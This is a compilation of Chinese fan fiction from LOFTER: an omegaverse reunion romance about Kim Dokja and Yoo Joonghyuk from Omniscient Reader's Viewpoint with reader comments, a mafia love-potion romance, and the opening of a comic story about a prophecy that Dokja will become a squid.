金独子两眼一黑,简直是苦口婆心的开始输出。什么对不起但这是个意外,我们只是酒后乱性,你只是有点处男情结。说到后面自己都听不下去了,因为在昨晚之前他也还只是个处男。
最后金独子说的嘴皮子磨得冒火星,以至于他都不知道自己到底在逃避些什么了。
只能说,我不是omega。没有信息素,你易感期的话会很辛苦。后半句的我们不合适,在舌头上滚了一圈,没能说出口。
而刘众赫依旧只是那样用黑沉的眼睛看着他,只说易感期是我的事,不用管。你负不负责。
不管金独子说再多,年轻的alpha就只是这样攥着他的手腕看着他。金独子彻底拿他没办法了。刘众赫倔起来也是没个边的,跟死命钻牛角尖一样,只要一个答案。
他们就这样稀里糊涂地在一起了。
导致金独子后来不止一次后悔过自己当时的不理智。其实仔细想想,他能拿出来的理由还有很多。比如年龄差,比如两个人后续各自的发展,比如alpha和beta或许真的并不合适。
但实话实说,在一起的那一年对于金独子来说,是他人生中最为珍贵的回忆了。那是他品尝过的最为幸福与快乐的滋味。
其实他们在一起之后似乎与之前也没有改变太多。只是见面的时间和约会的时间明显变多了。刘众赫在这一点上很固执,反而比起金独子这个年长者更老派一些。从牵手到接吻的约会步骤都要一个一个来。明明两个人连床都上过了。
虽然金独子这么想,但是时常还是会被刘众赫表里不一的纯情勾得不行。这人长了这么冷峻的一张脸,里面的馅却是热乎乎的。还只有他才能掰开了吃这口包子。
他们几乎把整个釜山都走遍了,每次约会的地点都不重样。刘众赫不是那种天性很懂得浪漫的人,但是他会用认真去弥补。这是金独子无意中发现他的SNS私人收藏夹里满是约会攻略才知道的事情。
就算金独子突发奇想说想要去海边看日落。刘众赫也会一边板着脸教训他这么冷去什么海边,一边给他准备最厚的围巾系上。
他们就这样在海边散步,不谈论太多空泛的东西。谈最近想看的电影和喜欢的小说,又说家里好像缺了瓶辣酱等下去买。
太阳落下去的时候风变得更大,刘众赫就把他的手牵起来放进自己的大衣口袋里握着。他的手很大,能把金独子的手整个包住,掌心很暖。
尽管他从不说一个爱字。
有时候金独子有种错觉,好像在刘众赫面前自己反而成了年龄小的那一个。他的人生如此枯燥无味,却在遇到了他之后如同被倒灌进一截春天。这样鲜明热烈地燃烧了起来。
金独子不想让刘众赫再像之前做那么辛苦的工作了,于是也帮忙物色适合他的轻松些且薪资不错的工作。甚至在发现在刘众赫平常喜欢玩游戏,且游戏技术相当不赖的时候。直接帮他开通了一个平台直播间,还给他买了直播的设备。想让他靠着闲暇时间直播来开辟一下副业。
刘众赫直播不露脸也不爱说话,于是镜头就对着键盘上一双修长性感的手。对于这一点金独子一半是惋惜如果他露脸估计赚钱分分钟,另一半是在庆幸因为他不想再多出很多情敌。
结果就是无心之举反而收获颇丰。刘众赫的游戏技术实在过硬,一段时间内就积累起了大量粉丝。还有人专门做了他的高光击杀时刻剪辑,更是吸粉。平台都直接上开门来联系他有没有签约的意愿。
金独子甚至还不太放心,跟对方谈了又谈,最后才把合同敲定下来让刘众赫签字。也多亏了直播做得不错,在收入上也不用像之前那样辛苦。刘众赫也不用每天去做太劳累的工作,他又找了个轻松些的兼职。这样空出来的时间也更多了。几乎一切都在向着好的方向发展。
釜山的冬季几乎没有雪。金独子闻不到信息素的味道。但刘众赫一次又一次不厌其烦地咬住他的后颈把信息素灌进来的时候,他总能嗅到那凛冽的气息。那是类似于雪的味道。
金独子不喜欢太冷的冬天,但他喜欢雪。
在首尔的时候他每年冬天都要爬到南山塔上去看雪。刘众赫说南山塔上怎么会有雪。金独子就说那我带你去看。
于是两个人就趁着过年的那几天假期,坐三小时的列车回首尔。金独子带他去了自己许久未回的住处,他之前刚付完一年的租金没多久就被调任。只好认命的把这房子空着了,现在倒是可以两个人住几天。
回到首尔金独子就哪里都熟悉了。他带着刘众赫一起去吃他最爱的那家弘大紫菜包饭店,带着他去ak plaza逛街,虽然最后只买到什么奇怪的毛绒头饰之类的夹在两人头上。又去公园里散步划船,摸别人家的小狗。
金独子和刘众赫还一起爬到南山塔上去看雪。往年只有金独子一个人来,好像还是第一次他和别人一起来看雪。心里却是前所未有的满足,沉甸甸殷实的一片。
南山塔上视角很好,一眼望去整个首尔都是白雪皑皑的一片。美得很纯粹,叫人看了心里很澄澈。金独子兴致勃勃地欣赏了一会儿雪景,转过头才发现刘众赫好像一直在看他。他就招招手,掏出手机来给他拍照。
刘众赫不是那种喜欢拍照的人,但金独子给他拍照他从不拒绝。而他也知道他更喜欢什么。
金独子凑近,举起手机把前置镜头对准了他们两个人的脸。咔嚓一声,他就侧过去亲在刘众赫的脸上。
其实直到后来金独子才有点反应过来,刘众赫的那句南山塔上没有雪是在撒娇。他知道这样说,自己就会带他去。
金独子又有点想笑了。他觉得这人实在太可爱,简直想把他揣进口袋里随身装着才行。
这样细碎的幸福回忆太多,金独子几乎数不完。如果不是那个冬天之后的事情,他原本还以为他们可以一直这样下去。
或许是人一感到幸福,时间就过得飞快。等金独子反应过来问题所在的时候实在有些太迟。他是个beta,对于alpha生理性相关的问题本就不太了解。以至于后来他不止一次懊恼后悔过自己当时的迟钝。如果不是他在刘众赫家里无意间翻到了那一份病历,或许刘众赫就打算这样瞒他一辈子也说不定。
几页纸上写满了不同的诊断时间和用药周期,最后一页下面被大大的划出来一行“药物效果明显消减,建议尽快结番”。
金独子还慢了好几秒才反应过来这都是什么意思。对了,alpha与omega之间存在命定之番这种东西。信息素高度匹配的情况下就会有这样的说法。
而金独子看着诊断结果那一行写的“信息素紊乱综合症”迟迟没能回神。他仔细回想起来他们在一起的这一年里刘众赫似乎没有出现过易感期症状。按理来说alpha一年内起码会有一次易感期才对。他觉得自己很冷静,只是大脑有点没办法立刻运转而已。
金独子拿上那叠病历就打车去了就近的医院科室咨询。他都有些记不太清那天自己是怎么一个人从科室里出来的了。他在医院大厅里坐了好一会儿,才开始梳理起发生了什么。
事实就是刘众赫天生就患有“信息素紊乱”这个毛病。并且这几年波动越发明显,尤其是这半年,已经到了用药物都难以控制的程度。医生说这个病症一般很难说清具体原因。像他这样高级别的alpha反而更容易出现信息素上的问题。会有一系列的并发症,比如易感期不稳定或者干脆没有,更多时候是生理性折磨和痛苦。严重的时候甚至能把人逼疯。
最好的解决办法就是找一个高匹配度的omega结合,然后得到omega信息素的稳定抚慰。
医生后面说的话金独子都有些听不太清了。他实在很难在一时间立刻消化掉这整件事。翻涌的情绪简直嘈杂到乱成一团,复杂而无法理清。
首先,金独子为刘众赫从头到尾瞒着他这件事感到愤怒。他们在一起差不多一年整了,而自己的伴侣却始终瞒着自己这么严重的问题。不拿出来跟他商量,甚至连知情权都不曾给过。
他想起那天刘众赫的那句易感期是我的事,不用管。都气到极点反而想笑了。
但最浓重还是那深深的无力感。金独子可以和刘众赫在一起,因为一直
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以来他都有信心自己能帮他很多。他能帮他找到新的适合自己的工作,也能帮他照顾妹妹分担压力,还能带他从釜山一起走到更多更远的地方去。但唯独这一件事,无论如何好像他都帮不了他。
因为金独子是个beta,他没有信息素。一切就像那一天他自己说的那样。他跟刘众赫说我没有信息素,你可能会很辛苦。然后刘众赫其实就一直这样忍耐着难以想象的痛苦在他身边。甚至将来还会有更严重的后果。
而这就是金独子最不想要看到的事情。他感觉自己的心剧痛到像从高高的塔尖摔到地上四分五裂。好像之前那些幸福的记忆都笼罩上了一层难以磨灭的阴影。它们时时刻刻都在提醒他这是建立在什么之上的。
他必须承认自己很爱刘众赫,才能让自己得以呼吸多一寸。可越这样他就越感觉心脏疼得发麻,几乎失去知觉那般。
金独子一个人坐在略有些嘈杂的医院大厅里,茫然得不知所措。手机猝然间响起来,是刘众赫。
后面发生的事情在他的记忆里就像放了倍速,可能是因为太痛苦了,所以大脑的保护机制都不愿意播放。
他提出分手之后几乎是用最快的速度回到住处收拾自己的东西跑了出来。金独子直接请了假,他正好满一年可以向公司递调回首尔的申请。就这样一路逃回了首尔。
那天金独子不想见他。当时也全然没有顾虑到刘众赫买个菜回家就找不到自己人,会是什么心情。与其说是不想见,根本就是没有办法面对。
金独子知道刘众赫会来住处找他,他匆匆写了半张纸的话内容很简短。语气很生硬。
他写,瞒着我很有意思吗?金独子落笔的时候没能控制好那一半蛮横无理的愤怒情绪。最后却在上面又压了一张银行卡,底下又压了一行字。
“到此为止吧,照顾好自己。”后面跟了一串数字,银行卡的密码。那是刘众赫的生日。卡里面放着从在一起第一天起,金独子就精打细算为他存下的未来四年大学学费。
他一直没有机会给他,他总担心刘众赫不会愿意收。现在好了,他不要也得要了。
金独子回到首尔后第一件事竟然是去找韩秀英。他甚至都不敢立刻回到自己的住处,那里面还有刘众赫上次来首尔跟他同住时的痕迹。金独子没办法去面对。
于是韩秀英深夜打开家门就看到一个两眼红肿的金独子站在门口。吓得她还以为谁欺负他了,顿时清醒了,一捋袖子颇为上火地问谁打的。
金独子不说话,只拖着行李箱往她家里钻。这才声音闷闷地开口,我睡一觉再跟你说。这下好了,轮到韩秀英开始担心他了。只看着他进了侧卧门一关,就没了动静了。
后来,韩秀英在知道大概发生什么后只用一种很不赞同的眼神看着他。
“所以你就这么跑了?”
“我……我没有别的办法了。”
“真的没了吗?你都还没有用力去找过吧。你这压根只是老毛病犯了,遇到这样的事情只想逃避。”
这次金独子难得没有反驳她。
“继续在一起只会两个人都痛苦。这个问题没办法解决的。”
“你这么想也没错,但你就没想过为什么吗?”
“什么为什么?”
“为什么你们会这么痛苦。”
“那当然是因为!”
金独子又说不下去了。
“那当然是因为你们很爱彼此,不是吗。”
韩秀英耸了耸肩,或许是旁人的角度她的理智看得反而更清楚。
“只有爱是不够的……”金独子的声音很哑。
“嗯,但是信息素和生理病症努努力说不定总有办法解决的。都这个年代了,总归可以再试试吧。实在不行和平分手也可以。但你表现得这样不理智,只能说明一个问题。”
韩秀英对着他晃了晃手指。
“只能说明你太过爱他了,爱到没有办法接受分手这件事。实际上你很害怕,对不对?”
金独子依旧沉默地看着她,也没办法说下去了。
但不管他害不害怕,能不能接受。已经都成了既定的事实。所以金独子只能逼自己不要再去想了。
这件事实际上施行起来非常困难。哪怕已经过去两年了依旧如此。当时他几乎算得上是落荒而逃。刚开始他还担心刘众赫会不会跑来首尔找他,毕竟他知道他的住处。但时间一久,并没有什么动静。他说不上自己是失望还是期待,只是心尖发麻。
有时候他太想他,脑海里都是刘众赫的影子。仿佛在记忆里那张薄冰流淌过的脸上,有他最喜欢的海浪声。
而金独子甚至早已连同他的联系方式一起拉黑了。用韩秀英的话说就是快刀斩乱麻结果代价是砍掉自己半条命。他没理会她的调侃,就当接受了。
偶尔有些时候他也会想,自己当时做的那么绝情,刘众赫该是什么反应。他现在会不会已经找到另一个跟他匹配度很高的omega了,身上那些旧疾下雨天的时候还会不会疼,有没有攒够钱来首尔读大学,带着妹妹过得还好吗。
他不止一次的去想这些问题,同时也知道自己可能永远也得不到答案了。
但时隔两年,金独子最想要知道的答案就突然自己出现在他的面前了。
金独子没能按捺住自己的心情,他决定自己去打听个结果来。起初他的想法很简单,从他打工的那家店入手搞清楚刘众赫现在的一些生活情况。
金独子特意挑了刘众赫不在的日子来店里,在后门的位置蹲到了休息透风的店员。上去就开始套话,对方问自己跟刘众赫是什么关系。金独子就说我是他的表哥。
很可惜的是金独子一连打听了一圈,似乎也没能摸到个边。因为刘众赫压根不跟他们说话,只自己做好自己的工作。到点就结束走人。
看来两年了刘众赫的性格压根一点没变。金独子叹口气又不太甘心,不想这么快放弃。不过意外之喜是他一通输出下竟然从店长那里弄到了刘众赫现在的住址。
金独子心里冒出个不成形的想法来,但在关于刘众赫的事情上他向来行动力很可观。于是挑了几天后一个最合适的时间点,直接杀了过去。
这一招实在很冒进,但金独子就是在赌这个概率。结果是他运气很不错,这个时候来给他开门的竟然也真的是刘美雅。
他偷偷观察过刘众赫在店里兼职的时间,又用了下排除法估计了下他上课的时候。金独子没想到自己会有一天,真的干得出跟踪前男友看着他进首尔大学门口这种事情。
门铃声被摁响的时候金独子能感觉到自己心脏在狂跳。几乎像是悬在极高的两端,无论哪一边都要摔得粉碎。
幸好开门的人是刘美雅。就在金独子刚露出个笑想要跟女孩寒暄两句的时候,反而被对方先打断了。
“大叔!你怎么才来啊!哥哥之前还说一到首尔你就会来看我的。我还等着你带我去游乐园玩呢!”
刘美雅的语气听起来还有些埋怨,似乎丝毫没因为跟金独子两年未见后的突然出现而感到意外。
金独子愣了两秒,又立刻接上。
“对不起了美雅,叔叔最近工作太忙了。”
他一边笑着道歉一边把手上那一袋精心挑选的新玩具递给她。
“收下这个吧,就当是我的赔礼。”
刘美雅一张小脸上顿时笑开来了,看起来就很高兴的模样。
“我知道的啦!哥哥总说大叔工作很忙很辛苦的。不然也不会这么久没办法回釜山看我们了。”
金独子心情忽然变得很微妙,这话听起来他很像那种抛夫弃子的骗子。
“不过我们现在也来首尔了,什么时候大叔搬过来住就好了。马上冬天了,这下你和哥哥又可以一起去爬南山塔了。”
金独子觉得哪里有些不对劲,他不知道为什么刘美雅这么说。至少爬南山塔这件事她应该不知情才对。
“你哥哥有告诉你吗?南山塔下雪的时候很漂亮。”
“当然啦,不然他也不会每年冬天都特意跑来首尔跟你一起去了。”
金独子听见自己心脏跳空两拍的空响,仿佛正有失重感从脚底升腾起来。如同某种极为不真实的错觉。
“他就是这样和你说的吗。”
“什么?”刘美雅眼神疑惑地看向他。
“就是每年我们都一起爬南山塔这件事。”
“对呀,他还会给我看你们每次去拍的照片。风景真的很美,我每年都缠着让他带我一起。他都不肯!你们嫌我会当电灯泡是不是?可是我跟着去的话至少还可以给你们拍合照呢!不然每年都没看到你们一起拍合照……”
金独子有些听不下去了,他的感情想要逃避,但理智却逼迫他继续听下去。表面上看起来依旧是平静的。于是他安抚好刘美雅,又跟她承诺过两天就带她去玩,才把小姑娘哄回了家里。他们住的这个位置很不错,甚至是高级公寓。租金不菲。刘美雅看上去也过得很好,没什么问题。
所以金独子这才意识到问题出在哪里。
他从门口出来的时候停住了脚步,高级公寓楼附近窄小的街道看起来空无一人。
“刘众赫。”
金独子开口喊他的名字,他这才意识到自己已经很久没有这样喊过他了。没有人回应他。
“刘众赫。”他又喊了一遍。
“你再不出来我就走了。”
说完似乎还觉得不够,停顿了两秒又补上一句。
“这次走了就再也不回来了。”
有细微的脚步声响了起来,金独子看着高大的alpha从拐角处走了出来。他一步步靠近,最后两人之间的距离停在了一个不近不远的距离。
这么久了,金独子依旧拿他毫无办法,只能轻轻叹口气。
“先说好,还有瞒着我的事情全部说出来。敢骗我你就完蛋了。我问你答。”
这是他们之前经常使用的一种对话方式。金独子被刘众赫那张撬不开的嘴气到的时候就会这么说,我问你答。在一起的时候像是某种情趣,现在更像是盘问。
“什么时候来首尔的?”
“上个月。”
金独子微微皱了下眉,这跟他想的完全不一样。不应该,按照当时情况刘众赫应该很快就能来读大学了才是。不应该拖了两年现在才过来,除非。
“发生什么事情了吗?”金独子的声音放缓了些,试图表现得自然点。但刘众赫却不给他这个机会,甚至又迈了一小步逼近。那双黑沉沉的眼睛就这样注视着他,那目光毫不收敛,近乎带着一种露骨的意味。
“治病去了。”
金独子眼皮一跳,那种忧虑和担心愈发鲜明。
“你的信息素紊乱情况怎么样了?”
“很好,现在基本不会再犯了。”
刘众赫微垂着眼睛死死盯着面前的人,眼神中一片晦暗不清。声音低沉沙哑,还透着些冷。让金独子感觉有些陌生。
听了他的话心中更是百转千回,反而不知道该说些什么。金独子很高兴他没事,但也没办法真心说出恭喜之类的话。因为这意味着刘众赫有了别的omega伴侣,那他这样非要来找自己是做什么。为了报复吗?
“医生把我腺体里过多的混乱信息素抽取出来,然后再输入人造的稳定的alpha辅助信息素进行调节。这种治疗方法成功率不算高,周期很长。不过现在疗程结束了,效果还不错。”
刘众赫低下头凑到金独子的耳边,幸好现在街道上空无一人。没人能看见他们现在的姿势与距离有多暧昧。
金独子反而怔住了,他有些迟缓地反应过来刘众赫说的话意味着什么。提取信息素的针很长,他在医院见到过。贴着皮肉扎进去都够疼了,更别说直接扎进敏感的腺体里。那该有多疼啊……
甚至不止一次两次,是几十次上百次。金独子几乎不敢再想下去了,后槽牙严丝合缝地咬紧。刘众赫就站在他的面前,而他连抬手去触碰他所经历的那些痛苦的勇气都没有。金独子似乎都能嗅到刘众赫身上的味道,依旧是那样凛冽的雪。好像从未曾从风中消失过那样。令他几乎想要颤栗。
刘众赫太了解他,以至于此刻看一眼就知道金独子在想些什么。
“这只是我自己的选择,与你无关。”
金独子脑子有些发昏,他想起那一天刘众赫说的那句不用你管。原来也是这个意思。他有点想扯出个笑来,结果好像比哭还难看。
“你问完了吗。“
刘众赫却不管他想得再多,似乎也不是在征得他的同意。
“等…啊!”
金独子的声音淹没在一声痛呼里。刘众赫用手钳制住他纤瘦的腰身,重重地咬在了他的后颈上。大量的alpha信息素就这样直接灌进他的身体里,金独子一瞬间眼前发花双腿发软,几乎都要站不住了。他已经太久没有受过这个了,浑身上下都在轻轻颤抖。
刘众赫的信息素太过汹涌霸道,如同无情的雪崩掠境。金独子根本受不了这个,差点全身脱力。而刘众赫把他牢牢扣在怀里,不给他任何一丝逃脱的可能。后颈上的齿痕咬得很深,已经见血。不是那种温情的安抚,而是最为直接的占有与掠夺。
过了好一会儿才结束这项酷刑,金独子眼角都是生理性的眼泪。刘众赫还用手指轻轻拭过他的眼睫。金独子在心里骂他狗崽子,同时又想起韩秀英那天跟他说的那个新闻。
真的是狗崽子。
金独子这才缓过劲来,用力地抱住了刘众赫。
“我治好病才来首尔的。”
刘众赫被他的拥抱弄得反而有些不知所措了,一时间环抱着他只能吐出这样的话来。
金独子觉得刘众赫好烦,他更想哭了。治好病才不会被自己丢掉,是不是这个意思。
“为什么跑到店里去兼职?”
“你搬家了,我找不到你。”所以只能去金独子最爱去的店里碰碰运气。
“为什么不告诉美雅我们分开的事情?”
“没有分开,我会来找你的。”
刘众赫在这些地方有种奇怪的偏执。对他来说,只要还会在一起,就不算分开过。
“你是不是这两年里每到冬天都一个人去了南山塔。”
金独子这次甚至没用问句。
刘众赫就点了下头,停顿了两秒。
“每次都是第一次去南山塔那天的日期。”
其实每次都呆了不止一天,他总想着说不定就能遇到金独子。但一次也没有。
“今年我带你去。”
金独子把脸埋在刘众赫的胸口,紧紧地抱着他不肯松开。声音很沙哑,又用力说了一遍。
“我带你去。”
刘众赫没说话,只低头吻了吻他的耳朵。安抚他的动作就跟从前一样,好像什么也没有变。
??
??
# 全知读者视角# 众独
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热门评论
霍霍
他俩简直是先天ab圣体
70
离笙一禅
omg,,,真的很像小刘会干的事情,,,生性并未被浪漫浸透那就用态度和行动践行自己的真心,又何尝不是一种浪漫呢
22
离笙一禅
小刘因生活所迫已经兼职打了几份工了()怜爱一下
26. 用了迷情剂还想跑?
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酒铃(zero少爷)
From LOFTER
【摄殓】用了迷情剂还想跑?
*加特给dm用了迷情剂
坏消息是,dm似乎可以免疫迷情剂
“好消息”是,不论有没有迷情剂,dm都打算留下加特当他的梅洛迪夫人
*dm:加特先生,给敌人下了迷情剂还想跑就不礼貌了吧
(1)
给dm使用迷情剂是一个大胆的决定。但是至少在梅洛迪家族得到足够的情报之前,加特不得不冒这这个风险。他的上司,严格意义上来说应该叫对手——德希·梅洛迪,并不是什么好对付的角色,在他身边的每一天,加特都不得不维持精神高度紧张,以免露出破绽。
而dm实在是个厉害的对手。即使在dm身边潜伏了小半年,加特也没有能得到情报的机会。所有信息都被封锁得死死的,和dm的每一次过招都像在冰面上奔走,一个不留神,脚下的裂纹就会在不经意间像蛛网那样铺满整个冰面,等待他的是冰层之下不见天日的深渊。
所以他不能有差错,一步也不能。用迷情剂实在不算上策,因为就算dm因此对他产生了爱的错觉,也不代表dm会对爱人不设防备。
或许在dm这样的人的眼中,爱人和敌人并没有分别。想到这里加特忽然有些好奇:
那么dm也有爱人吗?如果有的话,dm的爱人又很会是谁?
不容他多想,他知道不论结果如何,他都该行动了。最糟糕的结果是dm直接识破了他的计划,第二糟糕的结果是dm没能识破,迷情剂也顺利起到了效果,但是对于dm来说爱人的存在根本无足轻重,加特仍然没有得到情报的机会。
但是他也只能赌一赌了。
原本加特以为,像dm这样的人应该未必有多在意爱人。然而自从他给dm用了迷情剂以后,他发现一切和他想的大相径庭。在他给dm用迷情剂的第二天以后,他就在早上开门的时候看到了站在门口等他的dm。
加特心里一咯噔。dm之前从未主动来找他过,加特认为这是迷情剂奏效了。
dm意味深长地看着他,然后向他伸出手,说道:
“我想,加特先生应该不介意和我一起上班,刚好我们工作的地方顺路。”
他狡黠一笑。加特不知道该不该把手伸过去。
dm歪了歪头,问道:
“加特先生不愿意牵我的手吗?”
加特忽然觉得对dm用迷情剂是个糟糕的计划。因为他自己也压根没有恋爱的经验。但是为了完成任务,他硬着头皮把手放到了dm的掌心上。
这是他第一次用这种仿佛是对待恋人的方式和别人牵手。dm顺势捏了捏加特的手。他毫不意外地看到加特差点炸毛,又很快憋了回去。
他忽然觉得好笑,于是不打算拆穿这家伙了。
既然是你给我用的迷情剂,那么就是想和我谈恋爱的意思,对吧加特?那么我们多做一些恋人间的事情,也不过分的对吧加特?我不客气了。
关上车门,他为加特扣上安全带。
加特惊讶于他的“体贴”,他觉得dm不像是会刻意照顾人的人。而就在dm给他扣上安全带时,dm也趁机啄了一下加特的耳垂。
他心满意足地看着加特的脸瞬间涨红。他家小卧底显然紧张得很,但是他恶劣地想让他更紧张。dm装作不明所以,说道:
“怎么脸这么红,发烧了吗?”
说着,他用自己的额头贴上加特的额头,给加特试探体温。
加特觉得自己的脸和蒸笼里的包子快没区别了。他隐忍着不去推开dm。
“我没事,你开车就好。”他甚至冲dm“轻松”地笑了笑。
dm勾起嘴角,掐了掐加特的耳垂。
(2)
那天之后一切真的不一样了。
加特原以为dm不太擅长照顾人,而事实的发展出乎他预料。dm对他这个“恋人”的照顾可谓是细致入微。他非常认真地询问了加特的喜好,诸如喜欢喝什么牌子的咖啡,周末更喜欢待在家里还是出门游玩,又或者是约会的时候更想去看电影还是定餐厅。他个个问过去,加特也挨个回答。
于是接下来的每一天早晨,dm都会带着早晨来接加特。和加特结束了一天的工作以后,有时他和加特一起在外面的餐厅吃晚餐,有时候也会把加特带去自己家。周末加特表示比起约会更想待在家里,dm也会过来陪他。他们不需要说很多话,坐在落地窗旁边,加特安安静静地看书,dm安安静静地枕在他的膝上,夕阳把依偎在一起的“恋人”染成了油画般的颜色。一切舒适又和谐得像燃烧在冬夜里的壁炉,保持合适的距离时可供取暖。
但是靠的太近又会被烫着。因为这一切都是假发的,不过是迷情剂制造的幻象罢了,像腾空飘荡的泡沫那样,可远观不可近触。
加特知道终有一天自己会亲手戳破这个泡沫。是的,就在他得到了足够的情报以后。虽然有个念头会时不时闪过他的脑海:
如果这一切不是迷情剂制造的幻觉就好了。这样他就可以在dm靠着他肩膀小憩的时候,心安理得地亲吻dm的侧脸。
或许是前面一切都进展得太顺利,在加特计划着逃回侦探社的那个晚上,他被dm的下属逮个正着。加特知道一切都完了,他不仅是卧底,还给dm用了迷情剂,知道真相的dm绝对不会让他有生还的可能。
“加特先生,或者应该说,卧底先生?”dm摸着下巴,饶有兴致地看着被绑住的加特。加特也不甘示弱地看着他。
“用了迷情剂以后还想跑就不礼貌了吧。”dm漫不经心道。
曾经加特也在dm脸上见到过这样漫不经心的表情。在dm处置敌对家族的残余势力的时候。他没有想到有一天dm也会用这样的眼神看着他。加特闭上了眼睛。是的,一切都只是迷情剂制造的假象罢了,他们之间本来就不是恋人的关系,现在dm知道了真相,一定会把他——
“你得留下来对我负责。比如做我的夫人怎么样?”
(3)
“你都已经知道真相了,何必如此嘲讽我,”加特说,“你明知道我给你用了迷情剂。”
dm一边解开绑着加特的绳子,一边说道:<
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() {
$(''.inform'').remove();
$(''#content'').append(''
p>“是的,加特先生,你是有这个念头,但是你没有成功。不过就算你成功给我用了迷情剂,应该也不会有什么区别。因为早在你打算动手之前,我也有打算动手了。”
“动手做什么,夜袭侦探社?”
dm敲了敲加特的脑袋。
“夜袭你还差不多。加特。”他原本还有点满不在乎的样子,显然忽然恼了似的,虽然解开了加特身上的束缚,却死死地把加特抱在怀里亲吻。直到加特几乎喘不上气,他才松开了加特。
“研究员先生,我敬佩你的科研天赋。不过在恋爱这方面,你貌似不太聪明。”
他抱着加特,让加特被迫坐在他腿上。显然加特不太喜欢这个座位,但是他刚想站起来,就被dm按着坐下了。
“不要乱动。”dm用手抵住加特的嘴唇,“我们得先算算账。虽然你没成功,但是你也是对我动了用迷情剂的念头,还骗我骗了这么久。哪有给人下了迷情剂就跑的道理。”
“可是你不是说迷情剂没成功吗?”加特一边挣扎一边道。
“坐在我腿上的时候,建议你不要挣扎,不然我很难克制。”dm一本正经地说。
加特这才停了下来。但是又觉得更别扭了。
“是的,你是没有成功。但是为了获得情报,你还是以恋人的身份留在了我身边这么久。加特,我希望你能明白,没有在梅洛迪家族骗心以后还能全身而退的道理。”
“你跑不掉了,”他一边说一边啄了啄加特的耳垂,“以后你也是梅洛迪家的人了,作为对你骗心行为的补偿。”
“我看你们梅洛迪家可不缺人。”加特还想挣扎挣扎。
“缺,”dm一本正经道,“缺一个恋人,来欣赏我的祖传挑染。不然我这么帅气的挑染,如果无人欣赏的话也未免太可惜了。”
他一本正经地说着加特难以理解的奇妙理由。
但是不论加特理解与否,dm最后都把加特抱出了地下室。
“一定是迷情剂的作用,”加特争辩道,“你并没有爱上我。”
dm懒得再和加特争辩了。
“好好好,是迷情剂的作用。”
“以后我会把迷情剂加在仰望星空派里。”
“你做的仰望星空派我都会吃。”
......
(4)
给敌人用迷情剂实属下策。
加特想。
他后悔了,早知如此当初就不该对dm用迷情剂,瞧,直到现在dm还被迷情剂的效果影响着,要和他结婚。
如果灵犀妙探来婚礼现场薅他的领子,他将毫不意外。
而当dm换好礼服以后,打算来看看加特准备得怎么样了的时候,他发现加特的房间空无一人。留下的只有一张纸条:
“不好意思,很可惜,我还是跑掉了。”
dm不由得想起了当初他对加特说过“你跑不掉”这话,感情加特这是还在记仇。
dm的脸色一沉。他在想等他抓到加特以后一天要给加特用十次迷情剂。
END
*彩蛋:
dm:不好意思我还是抓到你了。
27. 到了三十岁还不结婚的话似乎会变成丑鱿鱼
From LOFTER
【众独】到了三十岁还不结婚的话似乎会变成丑鱿鱼
*虽然标题捏他了魔法师但是和原作毫无关系
*原著向魔改,一篇不用动脑子看的搞笑文
summary:继“金独子将死于最爱之人之手”后,救援的魔王收到了第二则命运的启示。
01.
工业园区的会议桌上,我被所有人摁在最中心的位置,刘尚雅坐在我的对面,她的面前是来自奥林匹斯星云送给她的一面水镜。在伙伴们为我庆祝完我的29岁生日的当晚,那面水镜上悄无声息地凝结出了一段简短的文字。
那是一则来自奥林匹斯的预言,这群狂妄自大的星座再一次窥视了我的命运。
只是与之前的死亡诅咒相反的是,这一次的启示更像是他们特地为讨人厌的救援魔王策划出的一场可笑恶作剧,而这个恶作剧无情地在金独子公司的所有伙伴面前点出了一个可悲的真相。
“连续单身30年后,金独子会变成一只丑陋的大鱿鱼。”
02.
在一片令人胆寒的沉寂中,率先语出惊人的是李智慧。她颤抖的目光停留在我平坦的肚子上,一脸难以置信地捂着嘴,露出一副十分滑稽的模样:“大叔如果一直单身的话,怎么会和我师父有孩子呢?”
……够了,这死孩子到底为什么会觉得两个男人能生出孩子来?
“都说了,你那时候完全听错了。”我无奈地揉了揉太阳穴,不动声色地把忽然蹿出来的比喻按下去——新生的鬼怪“叭叭”地叫着,像是在宣布一个自己专属的地位似的,这让我感到有一丝尴尬。
“所以,我们目前最要紧的事是让独子先生赶紧结婚。”刘尚雅神色认真地提出建议——一直以来,她在我们的星云公司内都扮演着一个相当可靠的角色,荒唐的话由她来说出口,居然让人觉得也有那么几分令人信服。
李贤诚立刻进入了状态。“没错。”他面色凝重地附和着尚雅小姐,“我们不能让独子先生变成一只丑鱿鱼!”
“独子哥,你要是真的变成鱿鱼了的话,我会好好养你的。”吉勇不知道在什么时候蹭到了我的右侧,抱住了我的胳膊,这样认真地同我保证道,“我会为你找一个最大的水缸。”
还没等我对这种天真又可怕的说辞发表什么意见,我的左胳膊又被另一个人抱住了——我的小化身来到了我身边,一脸不服输地瞪视着自己同龄的伙伴。“臭虫子根本不知道该怎么养海洋生物。叔叔,别听他的,我一定会把你养得白白胖胖的。”
难道我就不能自己好好活着吗……?我一时间有些无言以对。更何况,为什么已经开始默认我会变成鱿鱼了?
郑熙媛显然跟我站在统一战线,她插嘴道:“独子先生可不能变成鱿鱼啊,这种脆弱的生物,万一一不小心没看住死掉了该怎么办?”
像是听见了什么有趣的笑话,韩秀英“哈”了一声,一边冷笑一边斜眼暼我:“这家伙就算不是鱿鱼,不也总是喜欢跑到我们视线之外的地方自己去死吗?还不如变成鱿鱼呢,我们把它关在水箱里,这样他哪也去不了,再怎么样也死不成了。”
作家的发言得到了在场几乎所有人的赞同,他们若有所思地缓缓点头,露出一副恍然大悟的表情。
“说得对啊,就这么办吧?”
曾经发誓要永远保护我的、我的剑和盾都不约而同地望向了我,而我悲哀地从他们的眼中看见了令人心碎的赞同。
真的自始至终都没有一个人在乎过我的意见吗?大家、我真的不想变成鱿鱼啊……?
在被荒唐的原因迷惑住的人群之间,只有一个人清醒地站了出来。
我们始终正义的、正直的、正确的男主角刘众赫,在所有人的目光中站了起来。他提着剑,复杂的目光落在我的脸上,而后一字一句地开口说:“金独子不能变成鱿鱼。”
“我们需要他和我们一起走到结局。”
03.
虽然只是很简单的一句话,但就像刘尚雅总是能令人感到安心一样,刘众赫在我们的队伍中也同样是这种存在。更何况,用于佐证他论点的理由显然比什么“金独子作为鱿鱼比他作为人更不容易去死”这种荒诞不经的理论更加可靠。
于是令人欣慰地,“丑鱿鱼赞成派”很快便在公司中偃旗息鼓,大家又不约而同地开始思考起应该如何让我逃脱这个命运的预言。
“但是,如果大叔要想不变成鱿鱼的话,不就是需要在30岁之前找一个人结婚吗?”
